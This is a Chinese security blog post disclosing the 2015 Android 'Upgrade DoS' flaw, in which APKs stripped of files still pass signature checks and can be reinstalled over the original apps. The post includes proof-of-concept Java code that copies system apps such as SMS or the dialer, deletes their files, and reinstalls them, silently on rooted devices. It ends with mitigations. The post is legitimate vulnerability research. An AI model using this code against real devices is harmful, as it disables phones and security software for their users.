Apk升级漏洞Upgrade DoS详解

2015年06月26日 14:56 7686

回顾:

      Upgrade DOS漏洞是一个Android系统在应用升级过程中的漏洞,可以实现本地大范围的应用拒绝服务攻击(让手机瞬间变砖),不仅仅是用户自安装软件,还包括各式各样的系统应用(短信、电话等)。据分析加测试,该漏洞影响目前所有的android系统和所有android机型,也就是说全球数十亿的安卓设备都会受此影响。具体的介绍可参看:“Upgrade DOS可致数十亿Android设备瞬间变砖”。本文将详细介绍该漏洞的技术细节。

       作者已在BlackHat Mobile Security Summit London 2015大会上主讲,英文资料可见https://www.blackhat.com/ldn-15/summit.html#what-can-you-do-to-an-apk-without-its-private-key-except-repacking。

. Android证书验证机制

    首先,详细的Android证书验证机制,可见BH系列上篇“Shadows Everywhere漏洞浅析,影响全部安卓用户

         Apk升级漏洞Upgrade DoS详解-拒绝服务-阿里聚安全

        本文将每个apk文件分为2个部分,定义为Android源文件和证书验证文件夹/META-INFO。Android源文件指除了/META-INFO文件夹以外的所有文件,包括执行文件classes.dex、配置文件AndroidManifest.xml、资源文件、动态库文件so等等。在/META-INFO文件夹中,首先是MANIFEST.MF,以BASE64编码存储着所有源文件的摘要值;接着是CERT.SF(或者是xx.SF),存储着MANIFEST.MF的摘要值以及所有源文件的摘要值的二次摘要值;最后是CERT.RSA(或者xx.DSA, xx.EC),存储着开发者证书以及用该证书对CERT.SF的数字签名。

       用户从市场下载APK安装文件,在真正安装APK前,会首先验证数字签名。具体步骤:

       1. 首先计算除META-INF\ 文件夹以外所有文件的摘要值,同MANIFEST.MF文件中的摘要值做比对。如果不同,则证明源文件被篡改,验证不通过,拒绝安装。

       2. 计算MANIFEST.MF的摘要值, 以及MANIFEST.MF中每一个摘要项的摘要值,同.SF文件中的摘要值做比对。如果不同,则证明MANIFEST.MF被篡改,验证不通过,拒绝安装。 

       3. 从.RSA 文件中取出开发者证书,然后从证书中提取开发者公钥,用该公钥对.SF文件做数字签名,并将结果同.RSA文件中的.SF签名进行比对。如果不同,则验证不通过,拒绝安装。

二. Upgrade DoS漏洞原理

        众所周知,安卓中每一个应用安装包在安装之前,都会被开发者的证书进行签名。若没有正规的证书签名就不能被安装,而且也只有证书签名完整的应用才能正常的运行。因此黑客在没有原开发者证书私钥的情况下没有办法伪造签名。通过以上措施,安卓防止了其应用被随意改造。

在应用升级过程中,新应用的签名信息必须与已装应用的签名完全一样,而且新应用的版本号不能低于已装应用。不然的话,应用升级过程就会失败,例如二次打包的应用就不能够升级替换掉已装应用,因为其签名信息不同(没有原开发者证书的情况下没有办法伪造签名)。

       但是我们发现的Upgrade DOS 漏洞会调用系统自带的应用升级服务,不需要额外的root权限,也不需要额外的签名信息等:

在apk中,每个Android源文件必须有一个摘要值,存储在MANIFEST.MF文件中,否则上述步骤的第一步就不能完成,证书验证失败,apk不能成功安装;但相反则不然,当MANIFEST.MF中的摘要值存在,而其原始消息Android源文件不存在时,Android验证机制并不能检查出来,apk依然能够成功安装。也就是说,MANIFEST.MF中可以有不存在的冗余项,除了apk中其它所有文件的摘要值之外,MANIFEST.MF还可以包含其它额外的内容。

       因此,在删除apk中部分文件之后,MANIFEST.MF不需要修改,而且xx.SF和xx.RSA都不需要修改,就可以正常通过数字签名的验证,升级覆盖原有的低版本应用(因为签名证书没变)。但是,因为删除了部分源文件,该应用将不能够再正常使用,不能打开。在不需要root权限的情况下,对系统应用也有效,手机将不能再使用“电话”、“短信”等功能。

        下面是节选自Android Lollipop 5.1.0的部分代码:

Apk升级漏洞Upgrade DoS详解-Shadow Everywhere-阿里聚安全

每个验证子类 JarVerifier.VerifierEntry 初始化方法initEntry(),起源于每个源文件(ze, zipEntry)的名字ze.getName():

                        JarVerifier:    ze -> ze.md -> ze.md.md -> signature

但是,并没有反向验证:ze.md -> ze ? NO.

MANIFEST.MF中的摘要值能够防止Android源文件的增、改操作,但并不能保护源文件的删操作。

要利用该漏洞,我们还必须使用安卓系统的两个设计缺陷:

        1. 在Android设备中,其apk存储路径主要集中在 /data/app (用户应用),/system/app(系统预装应用)和/system/priv-app(系统核心应用),但这三个文件夹均提供了读权限给任意的用户,不需要root

Apk升级漏洞Upgrade DoS详解-证书校验-阿里聚安全

Apk升级漏洞Upgrade DoS详解-root-阿里聚安全

Apk升级漏洞Upgrade DoS详解-阿-阿里聚安全

这就使得,我们可以把任意的用户/系统应用apk全部拷贝出来,然后删除掉部分源文件后,调用系统自带的应用升级过程Activity,将修改后的apk重新安装回去覆盖掉原始应用,从而拒绝服务。

       2. Android应用升级时,会检查应用程序的版本号,原则上要求新应用的版本号不低于原有应用的版本号。但是,相同的应用版本号,也可以进行升级并覆盖安装。这就使得,我们在删除部分源文件后,不需要额外修改AndroidManifest.

xml配置文件。

三. Upgrade DoS漏洞利用流程

       使用Upgrade DoS漏洞,可以对Android设备中任意apk应用,开展拒绝服务攻击,除了部分以odex形式存在的系统应用以外。下面介绍攻击流程,并附上部分POC代码。

       1. 读取Android设备中的已有应用,或者遍历所有系统应用文件夹:

    packageName =  "com.android.mms";      //短信应用
//or packageName = "com.android.dialer";    //电话应用
//or apks traversing /data/app,  /system/app and /system/priv-app    //或者其它任意apk应用
File f = new File(pm.getApplicationInfo(packageName, 0).sourceDir);

       2. 任意删除apk中的文件,除了classes.dex、AndroidManifest.xml以及/META-INFO文件夹以外(这3部分文件不能动):

ZipFile zf = new ZipFile(f);
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(tmp));
Enumeration<? extends ZipEntry> allEntries = zf.entries();
while (allEntries.hasMoreElements()) {
            ZipEntry ze = allEntries.nextElement();
            String n = ze.getName();
            //all files are deleted except the 3 listed
            if (n.contains("AndroidManifest.xml") || n.contains("classes.dex") || n.contains("META-INF") ) {
                    out.putNextEntry(ze);          
                    InputStream in = zf.getInputStream(ze);
                    int b;
                    while((b=in.read()) != -1) {
                        out.write(b);
                   }
            }
}

       3. 对于没有root的设备,可以启用系统自带的应用升级进程Activity:

           //Android upgrade Activity if not rooted:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File(tmp)), "application/vnd.android.package-archive");   
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

       4. 对于已经root过的设备,更可以使用静默安装命令:

//or pm-install silently if rooted:
Runtime.exec("su -c \"pm install -r "+ tmp + “\"");

四.Upgrade DoS漏洞危害

       1. 任意用户应用apk都可以被拒绝服务攻击,尤其是木马检测与反病毒软件。在使这些安全软件停止工作且无法启动后,攻击者可以做任何他们想做的事情。

2. 系统服务apk可以被拒绝服务攻击,手机的基本服务如电话、短信、网络等都可以被停止服务,手机“变砖”,除了刷机别无选择。

3. 以上攻击可以在没有root的设备上直接调用Android应用升级界面,用户无法感知与正常的应用升级有什么区别。而在已root下,更可以静默升级。

4. 由于不包含任意的恶意代码,攻击者可以在第三方应用市场上发布一款简单通用的应用,来展开大规模的拒绝服务攻击,凡是支持apk应用的设备基本上都会中招。

五. Upgrade DoS防范措施:

普通用户:

      1.在安全的应用市场进行应用下载,防止恶意应用对系统漏洞的利用。
      2.
对手机常作备份,若发生不能用等现象,可以通过安全备份进行恢复。
      3.
尽量不要ROOT自己的安卓手机,ROOT之后,软件权限过大,可以直接利用漏洞。
      4.
使用官方网站来升级系统应用。
      5.
运用阿里钱盾等手机安全软件,对手机上的应用进行检测,防止高风险恶意应用的安装。

应用开发者:

1.为用户提供相对安全的升级通道。
      2.
运用阿里聚安全的服务,防止自有开发的应用的升级新版本被篡改,被仿冒!

 Shadow Everywhere的更多细节,更多利用方式,将会在接下来数日中一一进行公布,敬请期待。

标签

  • 短信
  • 积分兑换
  • 仿冒应用
  • 漏洞分析
  • 漏洞预警
  • 年度报告
  • 安全报告
  • 病毒分析
  • 阿里聚安全
应用更安全,用户更放心! 立即登录